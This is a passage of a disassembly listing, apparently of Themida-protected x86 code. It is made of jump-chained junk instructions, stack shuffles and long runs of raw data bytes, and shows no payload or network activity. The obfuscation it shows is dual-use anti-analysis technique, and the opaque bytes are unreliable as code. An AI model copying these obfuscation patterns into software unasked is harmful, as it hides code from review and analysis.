		dd 0FFEC54E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53BC0D:				; CODE XREF: Themida_:0053EDBFj
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0ABh
		sub	ch, 68h
		jmp	loc_53C63D
; ---------------------------------------------------------------------------
byte_53BC1D	db 0ACh, 2Ch, 0EFh	; DATA XREF: Themida_:00535128o
		dd 0D8000C2Ch, 617C68h,	11DFE900h, 0B9510000h, 30EC3E9Dh
		dd 0E959CD01h, 0FFFFF4F1h, 0D0F6F42Ch, 0C5880534h, 0E9DD2858h
		dd 4DE2h, 33240431h, 248B2404h,	2B136824h, 1C890000h, 14ECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BC62:				; CODE XREF: Themida_:00539E4Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	6BD9h
		mov	[esp], edx
		jmp	loc_53BE8F
; ---------------------------------------------------------------------------
		dw 0F700h
		dd 1424E9h, 96E1E900h, 4FB9FFFFh, 29C70E94h, 0D50159CAh
		dd 5A2434FFh, 7C9F68h, 240C8900h, 25E9E189h, 8100002Eh
		dd 5E4C38EBh, 24048B1Ah, 4C481h, 0B0E90000h, 89FFFF96h
		dd 9682424h, 8900000Bh,	71B82404h, 0F73A161Bh, 8ABE56D0h
		dd 29C5E9E4h, 0B8505EF0h, 12FF22D3h, 0FFAE2AE9h, 0CB814BFFh
		dd 79802631h, 0FFBC87E9h, 48F58FFh, 87355C24h, 5617033Ch
		dd 0CA1AE2BEh, 12E6814Ah, 872CA53Dh, 87D1F7CEh,	4AD5E9CEh
		dd 315F0000h, 0BA525BDFh, 1D915299h, 0FFBD54E9h, 2C483FFh
		dd 507DB252h, 0FFB3B7E9h, 8BD101FFh, 0C4812414h, 4, 0E959C801h
		dd 0FFFFB122h, 4C181h, 0E9810000h, 4, 5C240C87h, 0E9240489h
		dd 0FFFFE522h, 4BF57h, 1A050000h, 14A3523h, 231A2DF8h
		dd 525F4A35h, 0D92CDBBAh, 0B1CA8177h, 0E95BC02Eh, 0C1Ch
		dd 4BEh, 5EF10100h, 0FFF864E9h,	241489FFh, 0C281E289h
		dd 4, 7B9868h, 24048900h, 0FFEAD8E9h, 0E95D54FFh, 57DEh
		dd 7C1468h, 242C8900h, 42474FFh, 0E943E95Dh, 8953FFFFh
		dd 4C381E3h, 0E9000000h, 2AB5h,	0E7F380h, 0EB005BDDh, 55B55159h
		dd 0C8BEB28h, 4C48324h,	815A5452h, 4C2h, 4EA8100h, 0E9000000h
		dd 0FFFFA42Fh
; ---------------------------------------------------------------------------

loc_53BDE4:				; CODE XREF: Themida_:005361B5j
		push	esi
		jmp	loc_541351
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFB295h, 51C0B050h, 306FE9h, 0E6895600h, 4C681h
		dd 0EE830000h, 24348704h, 2404895Ch, 88E9C4B4h,	0FFFFFFC8h
		dd 8B042474h, 0DFE92414h, 0BEFFFFA3h, 4D272CE7h, 2FC168h
		dd 24348900h, 5E2414F7h, 2629E9h, 4C48100h, 0E9000000h
		dd 1F28h
; ---------------------------------------------------------------------------

loc_53BE40:				; CODE XREF: Themida_:0053E60Aj
		sub	dword ptr [esp+4], 79810F4Bh
		sub	dword ptr [esp+4], 107B4B78h
		jmp	loc_5404D4
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0E9810000h, 5053219Fh, 0C181C101h, 5053219Fh, 8124048Bh
		dd 4C4h, 2BB5300h, 81000000h, 8E010EE9h, 0E9D92957h, 5529h
		dd 21BB6855h, 0FFE959E0h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53BE8F:				; CODE XREF: Themida_:0053BC71j
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_536F0C
; ---------------------------------------------------------------------------
		dd 2474FF56h, 48F5E04h,	24248B24h, 243CD366h, 19FDE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BEC6:				; CODE XREF: Themida_:0053D1BFj
		mov	[esp], ebp
		push	edx
		mov	edx, 0D8B2D03h
		push	ecx
		jmp	loc_5399A7
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 34h
		dd 816B2625h, 0D9DAD0C3h, 16E95794h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53BEE7:				; CODE XREF: Themida_:0053B741j
		and	esi, 245A2AA0h
		sub	esi, 0EE608E2h
		add	ebx, esi
		pop	esi
		jmp	loc_53915D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BD7EE81h, 43E92C9Ch, 0BF00000Ch, 15B66B64h,	3D2FE9h
		dd 8BF03100h, 26E92434h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_53BF1B:				; CODE XREF: Themida_:0053FD5Bj
		shl	edi, 4
		push	edx
		mov	edx, 75BB7803h
		jmp	loc_53EC29
; ---------------------------------------------------------------------------
		align 2
aCs9		db 'çé=9',0
		align 10h
		dd 4631BB53h, 0E9557A89h, 3FF0h, 0C281DAF7h, 6C527C86h
		dd 335AD001h, 4312404h,	24043324h, 6624248Bh, 52C8BE0Fh
		dd 0BE56E289h, 2F20649Ch, 22B8CE81h, 0B7E96870h, 58FFFFDCh
		dd 4ED81h, 2C870000h, 3295E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53BF7A:				; CODE XREF: Themida_:00536BD9j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5403B2
; ---------------------------------------------------------------------------
byte_53BF9B	db 0ADh			; DATA XREF: Themida_:005350FCo
		dd 0AD68D831h, 89000006h, 1BE9243Ch, 5500004Fh,	3E5EE9h
		dd 241C8700h, 0E924248Bh, 0FFFFC001h, 81E38953h, 4C3h
		dd 4EB8100h, 0E9000000h, 520Bh
; ---------------------------------------------------------------------------

loc_53BFD0:				; CODE XREF: Themida_:0053E155j
		push	ecx
		jmp	loc_54011B
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd offset dword_50BC48+1A1h
		dd 6F685E00h, 8900003Ch, 0D589242Ch, 242C8155h,	7CC93225h
		dd 25C18159h, 5D7CC932h, 5A2434FFh, 902E9h, 0E9E78900h
		dd 3785h, 0FDFBF781h, 0AF0500EFh, 17AEC6Eh, 0B283E9F8h
		dd 0FA01FFFFh, 2414335Fh, 0FFC3D6E9h, 0BABA52FFh, 810E9214h
		dd 3261BDC2h, 0EE1EE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C036:				; CODE XREF: Themida_:0053EB43j
		shl	ebp, 3
		add	ebp, 1
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		neg	edx
		xor	ebp, edx
		xor	edx, ebp
		jmp	loc_54072E
; ---------------------------------------------------------------------------
		dd 4123C781h, 1C8B0CF3h, 4C48324h, 8B243C87h, 0F9F72424h
		dd 275B68h, 240C8900h, 8904EC83h, 0E6E92424h, 83FFFFCEh
		dd 0BF5704C4h, 36FC7FF2h, 77ACC781h, 0EF812519h, 4D481EFEh
		dd 3CE9DFF7h, 5DFFFFC1h, 50A3E9h
		db 0
; ---------------------------------------------------------------------------

loc_53C099:				; CODE XREF: Themida_:0053EB09j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	edi
		mov	edi, 31D46435h
		dec	edi
		dec	edi
		shl	edi, 4
		add	edi, 5AB35E47h
		jmp	loc_5410E7
; ---------------------------------------------------------------------------
		db 52h
		dd 0E02652BAh, 0B850420Ch, 647501DBh, 48BC229h,	4C48324h
		dd 27F3CA81h, 0F281296Bh, 40E97619h, 15A6E281h,	0C281781Eh
		dd 97FDEE62h, 1C61E9h, 0E5686600h, 0BDC1E972h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C0F6:				; CODE XREF: Themida_:0053A31Fj
		pop	esp
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_53F22C
; ---------------------------------------------------------------------------
aUs0		db 'Ué',0Ah
		db '0',0
		align 4
		dd 0BA241489h, 0D292B3Fh, 0EA81D2F7h, 535A78F9h, 8106E2C1h
		dd 83476EAh, 1C2837Fh, 22AC6857h, 0D3E91DAFh, 4000003Ah
		dd 0CE05D0F7h, 298244A9h, 0D2E958C6h
		db 0FDh, 2 dup(0FFh)
byte_53C13F	db 66h			; DATA XREF: Themida_:00535234o
		dd 5524048Bh, 3FA4E954h, 895C0000h, 4812424h, 424h, 242C8B00h
		dd 4C481h, 0A0E90000h, 54FFFFC6h, 0B951565Ah, 0E8F38C0h
		dd 0EF42BB53h, 0DE890A1Ch, 59CE015Bh, 5D9BB951h, 0E1C169A9h
		dd 81D9F708h, 803166E9h, 0E9CE2141h, 0FFFFD4B2h, 0BD555E54h
		dd 4, 0E95DEE01h, 0FFFFC727h, 0E9240489h, 0FFFF91BBh, 0E9243C87h
		dd 0FFFF9BFAh, 4CA9EF81h, 0C70124E1h, 4CA9C781h, 0F7E924E1h
		db 0E2h, 2 dup(0FFh)
byte_53C1C3	db 0FFh			; DATA XREF: Themida_:005351A4o
		dd 669D1C77h, 2414D259h, 9191E99Ch
		db 2 dup(0FFh)
word_53C1D2	dw 0DB68h		; DATA XREF: Themida_:005352E8o
		dd 89000019h, 2BB241Ch,	81023819h, 4ECh, 491FE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C1EA:				; CODE XREF: Themida_:0053635Ej
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_53B5C2
; ---------------------------------------------------------------------------
		db 59h,	53h, 0BBh
		dd 74986C92h, 1C8BD829h, 4C48124h, 1000000h, 6C9205F8h
		dd 772D7498h, 51E9559h,	771F469Ah, 0E92434FFh, 384Fh, 4EC81h
		dd 1C890000h, 4EC8324h,	0E9241489h, 0FFFFCF74h,	0E828E02Ch
		dd 5966E004h, 228E9h, 4C48300h,	452D68h, 24148900h, 0D37F36BAh
		dd 96C2810Dh, 810CFE5Ah, 5C2136EAh, 0DB23E96Ch,	0C781FFFFh
		dd 4, 0A396E956h, 1C87FFFFh, 4095C24h, 0E8E99C24h, 89FFFF90h
		dd 4C281E2h, 57000000h,	62315EBFh, 0BBBEE92Eh, 815FFFFFh
		dd 361611CEh, 59EE815Fh, 0E95F7613h, 0FFFFD1E4h
; ---------------------------------------------------------------------------

loc_53C2A0:				; CODE XREF: Themida_:0053D427j
		add	bl, ah
		pop	eax
		and	bl, 1
		add	bl, 0E0h
		jmp	loc_5362E2
; ---------------------------------------------------------------------------

loc_53C2AE:				; CODE XREF: Themida_:005402BAj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_53A670
; ---------------------------------------------------------------------------
		db 57h
		dd 4A57D4BFh, 0C45CE94Fh, 3489FFFFh, 2474FF24h,	24348B04h
		dd 4C481h, 48F0000h, 24248B24h,	9C2424D3h, 0FF9082E9h
		dd 81FA01FFh, 807AA4EAh, 0C2835F46h, 24148702h,	2404005Ch
		dd 9069E99Ch, 48FFFFFh,	4315624h, 24043324h, 50240431h
		dd 582414F7h, 8B240487h, 89512434h, 4C181E1h, 0E9000000h
		dd 0FFFFDC6Ah, 0B951E689h, 4, 1AD4C681h, 2DE9039Dh, 0F7FFFFA2h
		dd 0AF8E9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C33A:				; CODE XREF: Themida_:0053C8C5j
		xor	edi, 5908D71Dh
		add	esi, edi
		pop	edi
		shl	esi, 6
		or	esi, 45383FF2h
		push	ebx
		mov	ebx, 0
		sub	ebx, esi
		xchg	ebx, esi
		pop	ebx
		neg	esi
		sub	esi, 0C5393FEEh
		add	eax, esi
		pop	esi
		jmp	loc_53EA2D
; ---------------------------------------------------------------------------
		db 81h
		dd 3948ACEEh, 81EE0156h, 3948ACC6h, 0BB535D56h,	3E25877h
		dd 3EE7C381h, 0DFE95955h, 5100003Bh, 0FFF8F5E9h, 57D829FFh
		dd 0FFF20BE9h, 240C89FFh, 0FF8FC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53C39D:				; CODE XREF: Themida_:0053A292j
		mov	al, 83h
		add	bl, al
		pop	ax
		sub	bl, 66h
		push	66A5h
		mov	[esp], ecx
		mov	cl, 7
		xor	cl, 1Ch
		add	cl, 74h
		shr	cl, 1
		push	eax
		mov	al, 7
		sub	cl, al
		pop	eax
		sub	bl, cl
		pop	ecx
		sub	bl, al
		add	bl, 40h
		add	bl, 66h
		push	eax
		mov	al, 0E4h
		shl	al, 4
		jmp	loc_53EDBD
; ---------------------------------------------------------------------------
		dd 4EC81h, 0FEE90000h, 87000006h, 248B243Ch, 0EC79E924h
		dd 0C180FFFFh, 80F9283Ah, 0FE93AE9h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53C3F7:				; CODE XREF: Themida_:0053680Dj
		inc	eax
		jmp	loc_535B3A
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 83h
		dd 7AE904ECh
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C407:				; CODE XREF: Themida_:0053883Dj
		mov	ebp, 3D7C3230h
		jmp	loc_540D77
; ---------------------------------------------------------------------------
		db 8, 4, 24h
		dd 8F49E99Ch, 0D7F7FFFFh, 3A97E9h, 5AE76800h, 0E95B34F1h
		dd 9AEh, 0CC198568h, 5CE95B74h,	47FFFFABh, 0FF9251E9h
		dd 0BBB850FFh, 25341725h, 10D77F0Bh, 0E94C252Dh, 8E8C14Bh
		dd 0AF14EF35h, 58C58948h, 6352ED81h, 0BB536C90h, 3398450Fh
		dd 0FFF678E9h, 0FFC300FFh, 18E92434h, 89FFFF9Fh, 0E95758C6h
		dd 0FFFFBDFBh, 8324148Bh, 0CC2804C4h, 0E2885259h, 88D38853h
		dd 0E95A5BD9h, 0FFFFCB3Eh
; ---------------------------------------------------------------------------

loc_53C494:				; CODE XREF: Themida_:0053F40Aj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_53A63E
; ---------------------------------------------------------------------------
		dw 8359h
		dd 3C8704C7h, 0F1215C24h, 0E92434FFh, 0FFFFBEC7h, 1463C781h
		dd 0FB89CD96h, 0FFF849E9h, 4C483FFh, 4C581h, 42680000h
		dd 89000002h, 74FF242Ch, 8F5D0424h, 0C6E92404h,	53FFFFA9h
		dd 8965E1BBh, 2E92E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53C4E6:				; CODE XREF: Themida_:005384FAj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5406A0
; ---------------------------------------------------------------------------

loc_53C4F7:				; CODE XREF: Themida_:00535413j
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		jmp	loc_53DDE6
; ---------------------------------------------------------------------------
		dd 1E28ECBDh, 2EDC17Fh,	4505E5C1h, 0ED81D5F7h, 26C1069Ah
		dd 0B200ED81h, 0EB01E04Dh, 0FF95FBE9h, 8E31E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C532:				; CODE XREF: Themida_:0053FD96j
		mov	eax, 7F027877h
		xor	eax, 7F027873h
		add	edx, eax
		pop	eax
		jmp	loc_53B78A
; ---------------------------------------------------------------------------
		dd 0AE67B6BDh, 1C5836Ah, 984DC581h, 0C6819551h,	6FD7045Ah
		dd 0EE81EE01h, 6FD7045Ah, 2434875Dh, 5124248Bh,	3776DAB9h
		dd 4EC817Ah, 0E9000000h, 0FFFFDBA7h, 4BB368h, 0DAEFE900h
		dd 0E789FFFFh, 3E84BD55h, 0DDF762DBh, 3CEFC581h, 0DDF75F08h
		dd 92ED8145h, 103D301h,	0C7835DEFh, 243C8704h, 8124248Bh
		dd 4ECh, 242C8900h, 0C581E589h,	4, 4C581h, 0EC830000h
		dd 242C8904h, 0FFD9E7E9h
		db 0FFh
byte_53C5C9	db 0FFh, 77h, 40h	; DATA XREF: Themida_:005350C8o
		dd 0FF8D92E9h, 4C483FFh, 17B9CF81h, 0EC835F8Ch,	24148904h
		dd 0FFA0A2E9h, 5DE889FFh, 0D53A6235h, 6770057Ah, 3A055F02h
		dd 2D03E83Dh, 6E2002EBh, 8158C301h, 4C3h, 241C8700h, 0E924248Bh
		dd 0FFFFBC31h, 0E60055B6h, 0A2EE8058h, 0F680D6F6h, 9C16E9B8h
		dd 0B02DFFFFh, 0E966FE37h, 4D9Dh, 89240C89h, 4C181E1h
		dd 55000000h, 0FF90FAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53C63D:				; CODE XREF: Themida_:0053BC18j
		xor	al, ch
		pop	ecx
		jmp	loc_5356B4
; ---------------------------------------------------------------------------
		db 0C0h, 0EEh, 3
		dd 0FE07E6C0h, 68EE80C6h, 0E680DEF6h, 0D175E90Fh, 1C8BFFFFh
		dd 0E0895024h, 162468h,	241C8900h, 0FFFC4AE9h, 9AF180FFh
		dd 0FFB5F8E9h, 0F1C42DFFh, 0C3895C9Dh, 8BD90158h, 0C481241Ch
		dd 4, 3304C183h, 0C31240Ch, 240C3324h, 0F24248Bh, 4A68C8B6h
		dd 0E9000057h, 0FFFFFCF1h
; ---------------------------------------------------------------------------

loc_53C6A4:				; CODE XREF: Themida_:00536E20j
		not	ebx
		xchg	ebx, ecx
		or	ecx, 33490013h
		xor	ecx, 0B7C199DCh
		xor	eax, ecx
		pop	ecx
		sub	ebx, 67F16E4Dh
		jmp	loc_53557C
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 0BDA3E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C6CE:				; CODE XREF: Themida_:00541608j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5386F9
; ---------------------------------------------------------------------------

loc_53C6DD:				; CODE XREF: Themida_:00539668j
		mov	esi, 0FFFFFFFFh
		sub	[edi+24h], esi
		mov	esi, [esp]
		push	edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5402B3
; ---------------------------------------------------------------------------
		dd 0EBEBF57h, 0F7811323h, 790E72BCh, 2D5FF829h,	68C74E5Ah
		dd 0ADE95057h, 0BBFFFF8Dh, 12FF22D3h, 8245C01h,	24048B5Bh
		dd 4C481h, 3CE90000h, 68FFFF8Ch, 4777h,	54243489h, 186D685Eh
		dd 1C890000h, 4BB24h, 0EE810000h, 18726215h, 0E957DE01h
		dd 0FFFFA9C3h
; ---------------------------------------------------------------------------

loc_53C74C:				; CODE XREF: Themida_:00535C74j
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		push	edi
		pop	eax
		jmp	loc_53B8B7
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFD239E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53C765:				; CODE XREF: Themida_:0053FD36j
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_54018E
; ---------------------------------------------------------------------------

loc_53C799:				; CODE XREF: Themida_:0053AEE8j
		not	ecx
		jmp	loc_53687A
; ---------------------------------------------------------------------------

loc_53C7A0:				; CODE XREF: Themida_:0053E720j
		mov	[esp], edi
		jmp	loc_53790C
; ---------------------------------------------------------------------------
		dd 0D60BF57h, 0CF81670Ah, 15EB5C59h, 8107E7C1h,	795287EFh
		dd 5EFC15Eh, 0FFB8E4E9h
		db 0FFh
byte_53C7C5	db 66h,	8Bh, 4		; DATA XREF: Themida_:00535260o
aHQ		db '$h)q',0
		align 2
		dw 3489h
		dd 0A6A2E924h
		db 2 dup(0FFh)
word_53C7D6	dw 53ACh		; DATA XREF: Themida_:005351F4o
		dd 0EB8037B3h, 0E9090428h, 0FFFFD021h, 2BA52h, 0D3290000h
		dd 241C875Ah, 0C89665Ch, 4EC8324h, 0E9240489h, 0FFFFD66Ch
		dd 0C281FA01h, 3A1D0685h, 81243C8Bh, 4C4h, 8F10E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C816:				; CODE XREF: Themida_:00537066j
		add	ebp, 4
		push	ecx
		jmp	loc_53EA8A
; ---------------------------------------------------------------------------
		dw 3489h
		dd 348B5424h, 4C48124h,	68000000h, 585Ah, 0E9241C89h, 0A24h
		dd 5C243487h, 4B30F66h,	18E99C24h
		db 8Bh,	2 dup(0FFh)
byte_53C84B	db 66h			; DATA XREF: Themida_:005351B0o
		dd 5224048Bh, 0FF992BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53C855:				; CODE XREF: Themida_:005355B5j
		mov	[esp], eax
		push	edi
		push	77CB3269h
		pop	edi
		push	ebx
		jmp	loc_53FB57
; ---------------------------------------------------------------------------
		db 68h,	0Ch, 35h
		dd 35E90000h, 0F7FFFFF0h, 0D1DEF7DEh, 0D7F681EEh, 46670D63h
		dd 1F52EE81h, 0F2892F94h, 0CEC1815Eh, 81082C2Dh, 312B69C1h
		dd 0BB51E936h, 0C89FFFFh, 4741E924h, 0D8F70000h, 105h
		dd 74B95100h, 29E6E2D4h, 240C8BC8h, 8104C483h, 4C397BEAh
		dd 9FEA8113h, 0E93A5368h, 0FFFFD8CAh
; ---------------------------------------------------------------------------

loc_53C8C4:				; CODE XREF: Themida_:0053D99Aj
		pop	edx
		jmp	loc_53C33A
; ---------------------------------------------------------------------------

loc_53C8CA:				; CODE XREF: Themida_:0053A643j
		push	1A2Bh
		mov	[esp], eax
		xchg	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_53EE1F
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 0EC4DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53C8FA:				; CODE XREF: Themida_:0053AFDDj
		add	al, bh
		add	al, 1Fh
		jmp	loc_53CCE7
; ---------------------------------------------------------------------------
		db 83h
		dd 0C82104C4h, 0F22FE959h, 0E581FFFFh, 4DC45339h, 2EBA5245h
		dd 314E934Eh, 0EA895AD5h, 42C2815Dh, 8176534Eh,	3F4BFDCAh
		dd 0F3CA8104h, 50764C0Ch, 9A6A65B8h, 9DC90541h,	0EA812C77h
		dd 619114CEh, 6E9C201h,	30000041h, 0E99C2404h, 0FFFF8A0Fh
		dd 34FFDE89h, 0C4835B24h, 0E9F30104h, 0FFFFC868h, 24BAh
		dd 0F668E900h, 0C483FFFFh, 24048F04h, 6624248Bh, 9C240401h
		dd 0FF89E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53C981:				; CODE XREF: Themida_:0053F92Bj
		push	edi
		push	3735h
		jmp	loc_538B3F
; ---------------------------------------------------------------------------
		dd 59D8F281h, 0EFE969C4h, 0B8FFFFAAh, 0BAE4C63h, 4762805h
		dd 70BD5522h, 5160295Ah, 9B3D96B9h, 81E1D11Ah, 69F723C1h
		dd 8BCD21E0h, 0FFE9240Ch, 8FFFFFCDh, 0EC812404h, 4, 0B8240489h
		dd 4, 4244401h,	0DB6EE958h, 8B66FFFFh, 0C5E92414h, 51000006h
		dd 0BDB85052h, 0E91DA665h, 0D2Ah, 0E99CC885h, 0FFFF896Bh
		dd 4C481h, 0F5810000h, 20C01E67h, 0FFB42BE9h, 0BE7DBDFFh
		dd 0B8503E3Ah, 4D760357h, 0AD6C252Dh, 0E9D8F71Fh, 0FFFFD735h
; ---------------------------------------------------------------------------

loc_53CA20:				; CODE XREF: Themida_:0053A892j
		push	dword ptr [esp]
		jmp	loc_53B67A
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 0FFFFB8D8h, 4C48358h, 3F68h, 0B8DE900h
		dd 0EEC10000h, 67EE8106h, 0E9535C62h, 0FFFFAA1Ch
		db 29h,	0D7h, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_53D94B
; ---------------------------------------------------------------------------
		db 81h
		dd 0BA57BBF1h, 0FFCA89D3h, 0E9592434h, 31F2h
; ---------------------------------------------------------------------------

loc_53CA74:				; CODE XREF: Themida_:005381A9j
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 61396B73h
		shl	ebp, 2
		sub	ebp, 63592DE2h
		dec	ebp
		jmp	loc_537225
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0E0F781DFh, 8166CF51h, 0AB282FF7h, 7E7C12Eh,	9036C781h
		dd 0FA29AECDh, 0E958525Fh, 0FFFF9E22h, 27E9D6F7h, 1Eh
		dd 240C8BE8h, 4C481h, 23040000h, 0FFE025E9h, 0E95150FFh
		dd 36F3h, 2D05E8C1h, 3FB7FF0h, 0FFF151E9h, 241C89FFh, 8B2434FFh
		dd 0F8682404h, 89000055h, 0E954243Ch, 0FFFFCF65h
; ---------------------------------------------------------------------------

loc_53CAF4:				; CODE XREF: Themida_:00537967j
		add	esi, 4
		add	esi, 2
		jmp	loc_536347
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 9B3DD2F5h, 0EE01583Ah, 0FFC9A2E9h, 2F9CBDFFh, 0F74D6D11h
		dd 0DAE1E9DDh, 0F568FFFFh, 5E76DF02h, 17DFEA81h, 0F2292E68h
		dd 0FFB17AE9h, 0E9D701FFh, 0FFFFBECFh, 0FE24248Bh, 0E99C240Ch
		dd 0FFFF881Fh
; ---------------------------------------------------------------------------

loc_53CB44:				; CODE XREF: Themida_:0053AB6Aj
		push	edx
		jmp	loc_53A76C
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 20E70B8h, 0B951DE01h, 20E70B8h, 4D3EE81h, 0CE011D8Fh
		dd 4D3C681h, 81591D8Fh,	9C0BD7C6h, 0FF565B2Ch, 0E9042474h
		dd 0FFFF8ED0h
dword_53CB78	dd 24048B66h, 0BF4E951h, 0EF810000h, 72867125h,	66E9F901h
					; DATA XREF: Themida_:005351E4o
		dd 0FE000005h, 2FF380CBh, 45BD828h, 0EB8059E9h,	42EB8087h
		dd 8EC380h, 32AE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53CBAA:				; CODE XREF: Themida_:00536DFFj
		pop	edx
		jmp	loc_53A3EB
; ---------------------------------------------------------------------------

loc_53CBB0:				; CODE XREF: Themida_:0053A7E0j
		shr	edx, 5
		push	4F15h
		jmp	loc_535916
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0F04C483h, 8956C0B6h, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 34A4E95Ch, 0EBD10000h, 814BD3F7h, 28236EC3h,	0E9D80956h
		dd 0C24h
; ---------------------------------------------------------------------------

loc_53CBF0:				; CODE XREF: Themida_:0053B0D5j
		mov	edx, 419A26EDh
		jmp	loc_539491
; ---------------------------------------------------------------------------

loc_53CBFA:				; CODE XREF: Themida_:005408C3j
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		push	eax
		push	ebp
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		push	esi
		push	esp
		pop	esi
		push	7BA6h
		mov	[esp], ebp
		jmp	loc_5406D8
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5604EE83h, 42474FFh, 235E9h, 2B900h, 0CD010000h
		dd 242C8759h, 0C885665Ch, 0F8EBE99Ch, 0BF57FFFFh, 77AC6CA7h
		dd 0CF81D7F7h, 1FE161C6h, 0FFCF1EE9h, 7F66BDFFh, 0FE92806h
		dd 68FFFFB6h, 0C9Eh, 0FF945CE9h, 4E8C1FFh, 5884452Dh, 4EC8300h
		dd 0BD242C89h, 0B5319ADh, 4F33E581h, 0ED8145FDh, 0E2890722h
		dd 71E9EB01h
		db 0EEh, 2 dup(0FFh)
byte_53CC8F	db 0FFh			; DATA XREF: Themida_:00535308o
		dd 48B3C77h, 4A426824h,	4890000h, 6AE16824h, 0EBE90000h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53CCA7:				; CODE XREF: Themida_:00539353j
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_53A143
		push	dword ptr [edi+1Ch]
		jmp	loc_536F5E
; ---------------------------------------------------------------------------

loc_53CCC3:				; CODE XREF: Themida_:0053A29Cj
		pop	eax
		xor	eax, 8302168h
		push	ecx
		jmp	loc_53E13C
; ---------------------------------------------------------------------------
		db 66h
		dd 80C3005Ah, 52E948C3h, 5EFFFFD1h, 15A1BF57h, 0D0E97DCFh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53CCE7:				; CODE XREF: Themida_:0053C8FEj
		mov	bx, [esp]
		jmp	loc_53B1C7
; ---------------------------------------------------------------------------

loc_53CCF0:				; CODE XREF: Themida_:0053BB4Cj
		add	esi, 4
		jmp	loc_53F405
; ---------------------------------------------------------------------------
		dd 0E95EF301h, 0FFFF9201h, 0EB81EB01h, 47D76AD9h, 83242C8Bh
		dd 0EC8304C4h, 24148904h, 4BAh,	5AD30100h, 0E9241C87h
		dd 2478h, 688734FFh, 3E92h, 0FFE46EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_53CD31:				; CODE XREF: Themida_:005395CFj
		push	dx
		mov	dl, 0B3h
